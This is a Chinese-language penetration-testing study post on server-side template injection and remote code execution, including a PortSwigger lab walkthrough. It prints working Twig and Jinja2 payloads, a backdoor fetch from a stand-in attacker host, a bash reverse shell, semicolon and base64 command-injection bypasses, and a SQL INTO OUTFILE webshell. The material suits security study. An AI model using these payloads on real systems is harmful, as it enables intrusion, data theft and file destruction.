滲透測試重新打底(3.7)--論Web入侵之SSTI漏洞


Posted by kahatrix on 2023-09-22

SSTI介紹:

SSTI,全稱Server Side Template Injection伺服器模板注入,這是一種將惡意內容注入到Web Server執行命令的漏洞,可藉由SSTI導致RCE或讀取Server上的敏感資訊。甚至之前有碰過的例子是透過SSTI去讀到structure內的其他函數。這種漏洞通常很嚴重,因為可以拿來RCE。

模板(Template)引擎的目的是將固定模板和volatile data結合來產生網頁。因為我們現在網頁通常會使用MVC的架構,所謂MVC它是Model-View-Controller三個結合的,會動態生成模板。因為通常模板會跟controller做完全的分離,另外因為有些模板顯示出來的畫面可能會依照使用者的不同會有不一樣的效果或是產生的網頁會不同,製作admin跟一般user的介面可能就不太一樣。或是說同樣是user,但是我們可能會把username放到顯示器,比如「Hi, xxx」,這時候我們就用這種動態生成的方法去生成:
$showuser = $twig - > render("Hi " . $_GET['username']

當User輸入可以直接連結到模板,讓攻擊者可以注入模板指令並且操縱模板引擎時,可能就能完全控制Server。假設我們送出的request是這樣:
http://example.com/?username=Craig

那麼server會用$showuser = $twig - > render("Hi " . $_GET['username'],代表這個twig模板的一部分是由GET取得username參數來動態產生的,這可能允許攻擊者將payload放進username的參數中,例如說,我們在username裡放入{{7*7}}
他應該是會出現這樣子Hi, {{7*7}},不會進行任何的運算。

但是如果是一個具有SSTI漏洞的網頁,這時候可能就會Response Hi,49,這代表他pass這個大括號,並將裡面的字元進行運算,7x7那我的答案就是49,運算之後再做Response給你。所以呢這時候我們就可以去做一些其他的動作,例如說我們可以用setcache的方法然後出去他的21 port,然後去load他的template把一些backdoor load進來:

{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}

或是我們直接進行一些command injection,ID然後filter system,讓system去call這個ID,我們直接打ID的內容這樣子:

{{['id']|filter('system')}}

假設我們今天有另外一個SSTI漏洞的Django的網頁,那如果我們發送request:
http://example-django.com/?username={% debug %} ,然後我們就會在Response中出現這個Django裡面debug的資訊,例如說Digengold的call的運作message,或是注入這個secure key來得到金鑰({{settings.SECRET_KEY}})。這個金鑰他蠻重要的,因為Django他用這個secure key來加密session內容然後處理cookie,管理資料庫的帳號密碼等等的。

那因為這個Django使用Jinja2的Mobile引擎,所以如果要RCE的話我們可以用一下payload,就是像這個:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
這個ID可以依據OS的不同去做其他的一些指令,例如說reverse shell或是上傳web shell等等的,例如說chrome http,然後你的host然後再加上一個backdoor或是webshell等等的,然後再來用-o來做一個output。

另外一個方法就是寫入一個惡意的config,這邊真的只是給大家參考,因為依據模板引擎的不一樣,使用的方法也會完全不一樣:

# 惡意config檔案
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# 載入惡意config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 彈reverse shell
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1"',shell=True) }}

像我們上面這個twig
$showuser = $twig - > render("Hi " . $_GET['username']
或是這個

{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}} 
{{['id']|filter('system')}}

跟下面這個Django就是會不一樣。

SSTI並不是只有在Python才會出現,你只要有遵循MVC架構,可以運行某些特殊機制或是可以動態生成的話,有很大的機率都可以做到這件事情。那我之前遇到的例子,像剛剛講的是go lang裡面的Gin框架,也可以做到這件事情。我們那時候有一個structure裡面有ID、username、password,然後他在password裡面放flag,那你直接去做request的話你只會看到ID跟username,也就是message而已。那我們通過在username那邊注入兩個大括號,點password然後再兩個大括號,我們可以去存取他本來顯示內容之外的內容,從他structure裡面去撈出他的flag,就是password這樣子。

其他SSTI可以參考這個很好用的網站
PayloadsAllTheThings, 那這邊就有很多包括ASP、handlebar、java、各種各樣的Ruby,大家就可以來參考看看。

SSTI他的原理就是很簡單,就跟一般injection很像,所以基本上我等一下就直接帶lab,讓大家可以直接看一下,

先按下圖的1,可以發現2。

這時可以看到網址列如下:

https://0a70008203a4d3be85b4f408000f0060.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock

透過burp攔截成果如下:

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: 0a70008203a4d3be85b4f408000f0060.web-security-academy.net
Cookie: session=AOlq2x3kM7ycf8XE9HzS7h9xjWaNfb01
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Referer: https://0a70008203a4d3be85b4f408000f0060.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

此時burp畫面:

我們可以想到說他可能是依照這個Message,假設我們嘗試看看寫一些其他的東西:

這時候我們可以合理的懷疑他具有SSTI的漏洞。就用我們剛剛嘗試的方法來進行測試,7*7看一下有沒有49:

沒有,找找看模板線索:

google一下:

找一下有可能觸發漏洞的算式

7*7要依照下圖順序編碼一下:

可以發現成功觸發漏洞:

那我們這邊就看到49了,所以我們知道他的這個是要依照這種格式:

<%= 7*7 %>

剛剛的hacktricks裡往下拉,有找到

紅圈處符合剛剛觸發SSTI的code,可以用紅線處試一試:

題目敘述是delete the morale.txt file from Carlos's home directory. 所以把剛剛的whoami改成rm /home/carlos/morale.txt後,反藍按ctrl+u編碼後send,即可解決。

Remote code execution簡稱RCE,我們通常會被評斷為高危漏洞,因為攻擊者可以藉此在遠程執行惡意程式或惡意指令。RCE並不是只有Web才可以觸發,基本上OSCP一定有一條路徑是可以讓你做RCE的,因為它是一個寫好的Lab,一定有一個漏洞可以讓你進到機器裡面進行提權或是進行其他的操作。OSCP它考試還有另外一個點,就是我們可以透過一些Web的漏洞比如說LFI或是SSTI去列出像/etc/password、讀User.txt、Root.txt等等的。但OSCP它要求你一定只能在進去的那台機器的Terminal裡面,去顯示你的IP Config然後再顯示Root.txt, Local.txt。雖然有一些Web漏洞也可以存取到這些檔案,但是你不能透過Web的截圖說啊我得到Flag了,你一定要進到整台,而且要求你的權限最後一定要是Root。

Remote Code Execution它其實就是動態程式把它執行,那我們從某些地方,尤其是使用的,或許參數、Post Request裡面去,讓它不管是Json也好,或是一般的Post Data也好,然後去執行它。以攻擊者的角度來說,只要你的Web Application存在使用者互動的地方,都有可能是一個進入的點。那這個可能包含網站提供的一些欄位,GETS,或POST Request當中的各種欄位,像是一些Head, Request Body等等的。RCE的攻擊方式有可能是直接,進階,或是組合的,它並不是一個單一漏洞的專稱,它是一個大方向。

例如說,我們可以透過SQL Injection進行的RCE,或是透過SSTI、SSRF拿到RCE,所以它是一個大的方向。它可以是直接的,間接的,或是組合的。直接的很好理解,我們之前有提過的Command Injection,假如我們今天有一個Ping.php的漏洞,那它可能會是是Ping某一個Server是不是存活,去判斷這台Server是不是down了,如果down了是不是要趕快restart。那我之前也碰過類似這樣的東西,它是一個流量監測網站,那它後面是透過Ping來進行操作的,那這PHP大概像

<?php

$cmd = "ping ".$GET['ip'];
$result = exec($cmd);

那因為這個get ip是我們可控的,這邊Command有兩個部分組成,一個就是Ping,這個Ping就是固定的,然後根據用戶的input就會決定IP、會執行的CMD的內容,而且它會寫在網頁上面。那我們這時候就可以利用IP去寫進一些webshell,或是一些reverse shell來拿到這台server的基礎權限。

那進階跟組合就是在我們SQL injection的章節裡面我們有提到的。簡單的例子,就是透過SQL injection,升級到RCE。比如說:

SELECT "<?php system($REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/xxx.php"

這into outfile,上次有講過,它就是把select這串指令輸到這個sequence裡面,out file,就是輸出到這個地方,這個/var/www/html/xxx.php,在web的網頁上面可以瀏覽到這個webshell,然後讓你去進行RCE。

或是使用LOAD_FILE去讀取特定系統的文件等等,達成部分的程式碼執行訪問。但LOAD_FILE它是有限度的,就是你可能只能讀取,沒有辦法去進行操作,比如說你去讀取什麼bin cat,那它就會把cat的binary寫出來,它就沒有辦法執行。

所以,如果你在網站上看到有可能有做到OS code的地方,我們都可以特別注意說它是一個進入點。基本上只要使用者輸入,可以跟網站互動的地方,都是一個可能的進入點,我們可以猜測設備上網站可能是post message的表單,去接收一個IP,然後使用shell_exec, os這類的call,去ping之類的功能達成。那因此我們可以使用一些夾帶的字元(例如分號,pipe),讓OS call執行完第一個命令之後,接著我們的惡意的command。兩個pipe是or,然後跟&之類的。像是這樣子:

Post /ping_machine HTTP/1.1
Host: example.com
...

ip=10.10.10.10;<reverse_shell>&buttom=submit

有時候我們會遇到命令被阻擋的情形,這時候可以猜測說可能有黑名單,去阻止某些命令的執行,例如說什麼bash、nc、python等等,這時候我們就可以用一些encode去繞過。最好用的是base64的encode,我們在request的時加上base64 -d,這也是一個assistant的一個指令,就是linux讓webserver在post request的時候不會收到,那在os call的時候會執行這個base64 -d,把你的payload decode成reverse shell,然後pipe給bash來執行。

那下面這個翻譯就是用base64 encode執行的ls -l。指令大概像是這樣,就是前面是一個正常IP,然後一樣接分號,但是這邊變成了base64 -d,然後把這邊輸入成這個base64。我們可以去decode這個base64,看是不是這個ls。

Post /ping_machine HTTP/1.1
Host: example.com
...

ip=10.10.10.10;base64 -d <<< bHMgLWwgLwo= | sh&buttom=submit

下面這個不是真實的案例,是ctf裡面的題目。我們可以用touch指令建立一個特殊檔案名稱的file name,使網站的應用程式在讀取file name的時候,也執行了後面的程式,將當下目錄檔案資訊的result在網頁中呈現。

如果網頁有upload的功能的話,我們可以把這個這個看起來很奇怪的檔名上傳上去,如果對方有一些指令去parse這個檔名,就會在upload success之後執行ls -la把當前目錄給顯示出來。

另外一個很特別,他是用linux指令中一個叫softlink的東西,link了一個flag,就是file.txt,然後分號ls -s,然後flag.txt這樣子,一個很奇怪的檔案名稱然後去做,讓他去call這個file的時候把後面的指令一起執行。

RCE他其實沒有固定的形式,所以大家不要有那種固定的思維說這個upload file就只能進行這個上傳一個webshell之類的,他有可能是從file name甚至從header,或是從各種各樣奇怪的地方。

講一個之前遇過一個蠻有趣的案例。之前有碰過一個網站,他會去他的database裡面去存你的cookie,這很正常。他的cookie裡面還有另外一個是他去追蹤你在這個網站上使用的功能、追蹤你的這個FB id是從哪裡來的。那他那時候就進到資料庫,因為他會存到資料庫裡面。所以我那時候就透過一個SQL injection把一個web shell直接存到database裡面。那他是在cookie裡面,所以變成你在cookie裡面cookie之後然後你再進行SQL injection再造成rce,應該說上傳webshell,然後你再到網站上的shell.php還是pht,我有點忘了,然後去進行reversal的反彈,這樣子。

不講OSCP,講一些真實世界案例來說的話,常常payload到最後都長得蠻醜的,就是各種攻擊都會套在一起,更不要說一些red team的一些手法那個就更噁。像SSRF的話,他可能還可以用什麼DNS rebinding然後去call什麼XHR之類的東西然後去調整一些RCE,所以這個都很多的。

OSCP考試他有時候會需要你去改payload,如果你不知道SSTI這種工具手法,比如有一個public的exploit,他是SSTI的但是他需要修改,才可以使用。但你根本不知道這種工具手法到底該怎麼使用的話,連修改payload都可能會有問題。










Related Posts

關於 console.log 印出物件時所需注意的

關於 console.log 印出物件時所需注意的

重新回歸學習程式 - part 1  20230308

重新回歸學習程式 - part 1 20230308

Print lots of stars

Print lots of stars


Comments